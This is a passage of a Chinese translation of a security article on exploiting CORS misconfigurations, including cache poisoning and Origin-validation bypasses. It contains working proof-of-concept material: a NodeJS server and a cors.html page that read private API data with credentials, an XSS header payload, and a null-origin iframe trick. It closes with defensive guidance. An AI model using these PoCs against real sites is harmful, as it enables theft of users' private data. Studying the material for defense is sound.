HTTP/1.1 200 OKServer: Apache-Coyote/1.1Access-Control-Allow-Origin: https://attacker.domainAccess-Control-Allow-Credentials: trueAccess-Control-Expose-Headers: Access-Control-Allow-Origin,Access-Control-Allow-CredentialsVary: OriginExpires: Thu, 01 Jan 1970 12:00:00 GMTLast-Modified: Wed, 02 May 2018 09:07:07 GMTCache-Control: no-store, no-cache, must-revalidate, max-age=0, post-check=0, pre-check=0Pragma: no-cacheContent-Type: application/json;charset=ISO-8859-1Date: Wed, 02 May 2018 09:07:07 GMTConnection: closeContent-Length: 149{"id":1234567,"name":"Name","surname":"Surname","email":"email@target.local","account":"ACT1234567","balance":"123456,7","token":"top-secret-string"}
因为服务器发送了头部字段“Access-Control-Allow-*”给客户端,所以,受害者浏览器允许包含恶意JavaScript代码的页面访问用户的隐私数据。
5.png
3.3 没有用户凭据的利用方式在这种情况下,目标应用允许通过发送“Origin”去影响返回头“Access-Control-Allow-Origin”的值,但是不允许传输用户凭证下面这个表简要说明基于CORS配置的可利用性
6.png
如果不能携带用户凭据的话,那么就会减少攻击者的攻击面,并且很明显的是,攻击者将很难拿到用户的cookie。此外,会话固定攻击也是不可行的,因为浏览器会忽略应用设置的新的cookie。3.3.1 绕过基于ip的身份验证实际的攻击中总有意外,如果目标从受害者的网络中可以到达,但使用ip地址作为身份验证的方式。这种情况通常发生在缺乏严格控制的内网中。在这种场景下,黑客会利用受害者的浏览器作为代理去访问那些应用并且可以绕过那些基于ip的身份验证。就影响而言,这个类似于DNS重绑定,但会更容易利用。3.3.2 客户端缓存中毒这种配置允许攻击者利用其他的漏洞。比如,一个应用返回数据报文头部中包含“X-User”这个字段,这个字段的值没有经过验证就直接输出到返回页面上。请求:
GET /login HTTP/1.1Host: www.target.localOrigin: https://attacker.domain/X-User: <svg/onload=alert(1)>
返回报文(注意:“Access-Control-Allow-Origin”已经被设置,但是“Access-Control-Allow-Credentials: true”并且“Vary: Origin”头没有被设置)
HTTP/1.1 200 OKAccess-Control-Allow-Origin: https://attacker.domain/…Content-Type: text/html…Invalid user: <svg/onload=alert(1)
攻击者可以把xss的exp放在自己控制的服务器中的JavaScript代码里面然后等待受害者去触发它。
var req = new XMLHttpRequest();req.onload = reqListener;req.open('get','http://www.target.local/login',true);req.setRequestHeader('X-User', '<svg/onload=alert(1)>');req.send();function reqListener() {location='http://www.target.local/login';}
如果在返回报文中头部没有设置“Vary: Origin”,那么可以利用上面展示的例子,可以让受害者浏览器中的缓存中存储返回数据报文(这要基于浏览器的行为)并且当浏览器访问到相关URL的时候就会直接显示出来。(通过重定向来实现,可以用“reqListener()”这个方法)
7.png
如果没有CORS的话,上面的缺陷就没法利用,因为没有办法让受害者浏览器发送自定义头部,但是如果有了CORS,就可以用“XMLHttpRequest”做这个事情。3.3.3 服务器端缓存中毒另一种潜在的攻击方式是利用CORS的错误配置注入HTTP头部,这可能会被服务器端缓存下来,比如制造存储型xss下面是攻击的利用条件:* 存在服务器端缓存 * 能够反射“Origin“头部   * 不会检查“Origin”头部中的特殊字符,比如”\r"有了上面的先决条件,James Kettle展示了http头部注入的利用方式,他用这种方式攻击IE/Edge用户(因为他们使用“\r"(0x0d)作为的HTTP头部字段的终结符)请求
GET / HTTP/1.1Origin: z[0x0d]Content-Type: text/html; charset=UTF-7IE处理过后返回报文   HTTP/1.1 200 OKAccess-Control-Allow-Origin: zContent-Type: text/html; charset=UTF-7
上面的请求不能直接拿来利用,因为攻击者没有办法保证受害者浏览器会提前发送畸形的头部。如果攻击者能提前发送畸形的“Origin”头部,比如利用代理或者命令行的方式发送,然后服务器就会缓存这样的返回报文并且也会传递给其他人。利用上面的例子,攻击者可以把页面的编码变成”UTF-7",周所周知,这可能会引发xss漏洞   3.4  绕过技术有时,需要信任不同的域或者所有的子域,所以开发者要用正则表达式或者其他的方法去验证有效性。下面的部分列出了一系列的“起源”,可以用来绕过某些验证控制,以验证“起源”头的有效性。下面的例子中的目标域一般指“target.local”。3.4.1  NULL源CORS的规范中还提到了“NULL”源。触发这个源是为了网页跳转或者是来自本地HTML文件。目标应用可能会接收“null"源,并且这个可能被测试者(或者攻击者)利用,意外任何网站很容易使用沙盒iframe来获取”null“源
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src='data:text/html,<script>**CORS request here**</script>’></iframe>
使用上面的iframe产生一个请求类似于下面这样
GET /handlerHost: target.localOrigin: null
如果目标应用接收”null"源,那么服务器将返回类似下面的数据报文
HTTP/1.1 200 OKAcess-Control-Allow-Origin: nullAccess-Control-Allow-Credentials: true
这种错误配置经常会碰到,所以会很方便的去尝试它。3.4.2 使用目标域名作为子域名如果目标应用只检查只检查“Origin”中的字符串是否包含“target.local”,那么就可以在自己控制的服务器上创建一个子域名。用这样的方式,请求一般产生自JavaScript代码,并且请求中的“Origin”会像下面这样
Origin: https://target.local.attacker.domain
3.4.3  注册一个同名的域名假设,目标应用实现是基于下面的正则表达式去检测“Origin”头部的话:
^https?:\/\/.*\.?target\.local$
这样的正则表达式包含一个问题,导则这样的CORS配置都容易被攻击。下面表格将分解正则表达式:
8.png
这个?只影响"."这个字符串,因此在“target.local”前面的任何字符串都是被允许的,而不管是否有"."把他们分开。因此,只需要在“origin”末尾包含目标域名就可以绕过上面的限制(这个场景的的目标域名是“target.local”),比如:
Origin: https://nottarget.local
攻击者只需要注册一个末尾包含目标域名的新域名就可以利用这样的漏洞了。3.4.4 控制目标的子域名现在目标应用实现是基于下面的正则表达式去检测“Origin”头部的话:
^https?:\/\/(.*\.)?target\.local$
这个允许来自”target.local“的跨域访问并且包含所有的子域名(来自HTTP和HTTPS协议)。在这个场景中,如果攻击者能控制目标的有效的子域名(比如:“subdomain.target.local”),比如接管一个子域名,或者找到一个有xss漏洞的子域名。攻击者就可以产生一个有效的CORS请求。3.4.5 第三方域名有时一些第三方域名会被允许。如果黑客能在这些域名里面上传JavaScript脚本的话,他们就可以攻击目标了。最有代表性的例子是,Amazon S3存储桶的有时是被信任的。如果目标应用使用亚马逊的服务,那么来自亚马逊S3存储桶上的请求就会被信任。在这种场景下,攻击者会控制一个S3的存储桶,并在上面放上恶意页面。3.4.6  使用特殊的特性Corban Leo展示了一个比较有趣的研究,他在域名中插入一些特殊的字符来绕过一些限制。这个研究员的特殊字符法只能用在Safari浏览器上。但是,我们进行了深入的分析,显示其中一部分特殊字符串也可以用在其他的浏览器中。这种规避技术所面临的问题是,在发送请求之前,浏览器不总是会去验证域名的有效性。因此,如果使用一些特殊的字符串,那么浏览器可能就不会提前发送请求去验证域名是否存在或者有效。假设,目标应用实现是基于下面的正则表达式去检测“Origin”头部的话:
^https?:\/\/(.*\.)?target.local([^\.\-a-zA-Z0-9]+.*)?
上面的正则表达式的意思是,允许所有“target.local”的子域名的跨域请求,并且这些请求可以来自于子域名的任意端口。下面是正则表达式的分解:
9.png
这个正则表达式阻止前面例子中的攻击,因此前面的绕过技术不会起作用(除非你控制了一给合法的子域名)下面的截屏展示了返回报文中没有“Access-Control-Allow-Origin” (ACAO) 和 “Access-Control-AllowCrendentials” (ACAC) 被设置。(使用前面的一种绕过技术)
10.png
因为,正则表达式匹配紧挨着的ASCII字母和".","-",在“target.local”后面的每一个字母都会被信任。
11.png
注意:当前浏览器只有Safari支持使用上面的域名(带“{”那个字符的),但是如果目标应用的正则表达式能够信任其他的特殊字母,那么就可以使用CORS的错误配置去攻击其他的浏览器啦。下面这个表包含各个浏览器对特殊字符的“兼容性”(注意:仅包含至少一个浏览器允许的特殊字符)
12.png
利用前的准备:* 泛解析域名要指向你的服务器   * NodeJS:因为Apache和Nginx(开箱即用)不支持特殊的字符创建一个serve.js 文件   
var http = require('http'); var url = require('url');var fs = require('fs');var port = 80http.createServer(function(req, res) { if (req.url == '/cors-poc') {  fs.readFile('cors.html', function(err, data) {  res.writeHead(200, {'Content-Type':'text/html'});  res.write(data);res.end();});} else {  res.writeHead(200, {'Content-Type':'text/html'});   res.write('never gonna give you up...');  res.end();}}).listen(port, '0.0.0.0'); console.log(`Serving on port ${port}`);
在相同的目录下创建cors.html   
<html><head><title>CORS PoC</title></head><body onload="cors();"><div align="center"><h2>CORS Proof of Concept</h2><textarea rows="15" cols="70" id="container"></textarea> </div><script> function cors() {var req = new XMLHttpRequest();req.onload = reqListener; req.open("GET","http://www.target.local/api/private-data",true); req.withCredentials = true;req.send();function reqListener() {document.getElementById("container").innerHTML = this.responseText; }} </script>
现在启动NodeJS服务并且运行下面的指令:  
node serve.js &
如果目标应用使用上面的表达式实现对“Origin”过滤的话,那么除了“.” 和“-“之外,“www.target.local”后面的每一个特殊字符都会被信任,因此当Safari浏览器完成的以下产生的有效请求后,攻击者能够从易受攻击的目标中窃取数据。  
http://www.target.local{.<your-domain>/cors-poc
如果正则表达式支持下划线的话,那么可能其他的浏览器(在上面的表格中列出数据)也可以利用CORS配置错误了,就像下面的例子一样:
http://www.target.local_.<your-domain>/cors-poc
想要看更多关于绕过的文章可以去:https://www.sxcurity.pro/advanced-cors-techniques 4 _防御技术让我们的看看如何正确配置CORS才能避免让黑客从受害者中偷走敏感数据或者被攻击者利用CORS配置继续攻击 4.1 一般守则下面是处理CORS配置的最佳实践 4.1.1 如果不必要就不要开启CORS首先,要仔细的评估是否开启CORS。如果没有必要,建议完全避免使用它,以免削弱SOP。 4.1.2 定义白名单如果是绝对必要的话,要定义“源”的白名单。我更喜欢白名单,如果可能的话,不要使用正则表达式,因为根据前面的描述,正则表达式更容易出错,导致CORS的配置错误。不要配置“Access-Control-Allow-Origin”为通配符“*”,而且更重要的是,要严格效验来自请求数据包中的“Origin”的值。当收到跨域请求的时候,要检查“Origin”的值是否是一个可信的源。 4.1.3 仅仅允许安全的协议有必要验证协议以确保不允许来自不安全通道(HTTP)的交互,否则中间人(MitM)将绕过应用是所使用的HTTPS 4.1.4 配置“VARY”头部要尽可能的返回"Vary: Origin"这个头部,以避免攻击者利用浏览器缓存 4.1.5 如果可能的话避免使用“CREDENTIALS”由于“Access-Control-Allow-Credentials”标头设置为“true”时允许跨域请求中带有凭证数据,因此只有在严格必要时才应配置它。此头部也增加了CSRF攻击的风险;因此,有必要对其进行保护。要特别关注的实现的标准,如果没有定义参数的话,那么默认值很可能是“true”。要仔细阅读官方文档,如果感觉模糊不清的话,就把值设置成“false". 4.1.6 限制使用的方法通过“Access-Control-Allow-Methods”头部,还可以配置允许跨域请求的方法,这样可以最大限度地减少所涉及的方法,配置它始终是一个好习惯。 4.1.7 限制缓存的时间建议通过“Access-Control-Allow-Methods”和“Access-Control-Allow-Headers”头部,限制浏览器缓存信息的时间。可以通过使用“Access-Control-Max-Age”标题来完成,该头部接收时间数作为输入,该数字是浏览器保存缓存的时间。配置相对较低的值(例如大约30分钟),确保浏览器在短时间内可以更新策略(比如允许的源) 4.1.8 仅配置所需要的头最后一点,要仅在接收到跨域请求的时候才配置有关于跨域的头部,并且确保跨域请求是合法的(只允许来自合法的源)实际上,在其他情况下,如果没有理由就不要配置这样的头部,这种方式可以减少某些用户恶意利用的可能性。 4.2 配置和实施很多软件框架是允许使用CORS的,当使用这些解决方案的时候,我们要着重++注意默认值++(“origin” 和 “credentials”是否被明确的设置)因为有些默认值是不安全的我们分析一些主要的软件框架。下面这个表是总结的结果(注意:这仅指默认配置,在所有情况下都可以以安全的方式配置它们) 5. _引用:
  • * Mozilla MDN web docs. Cross-Origin Resource Sharing (CORS). https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS (Accessed 2018-30-06).
  • * Wikipedia. Same-origin policy. https://en.wikipedia.org/wiki/Same-origin_policy (Accessed 2018-30-06).
  • * W3C. Cross-Origin Resource Sharing. https://www.w3.org/TR/cors/ (Accessed 2018-30-06).
  • * James Kettle. Exploiting CORS misconfigurations for Bitcoins and bounties. https://portswigger.net/blog/exploiting-cors-misconfigurations-for-bitcoins-and-bounties 2018-30-06).
  • * Geekboy. Exploiting Misconfigured CORS (Cross Origin Resource Sharing). https://www.geekboy.ninja/blog/exploiting-misconfigured-cors-cross-origin-resource-sharing/ (Accessed 2018-30-06)
  • * Yassine Aboukir. CORS Exploitation: Data exfiltration when allowed origin is set to NULL. https://yassineaboukir.com/blog/cors-exploitation-data-exfiltration-when-allowed-origin-is-set-to-null/ (Accessed 2018-30-06).
  • * Corben Leo. Advanced CORS Exploitation Techniques. https://www.sxcurity.pro/advanced-cors-techniques/ (Accessed 2018-30-06)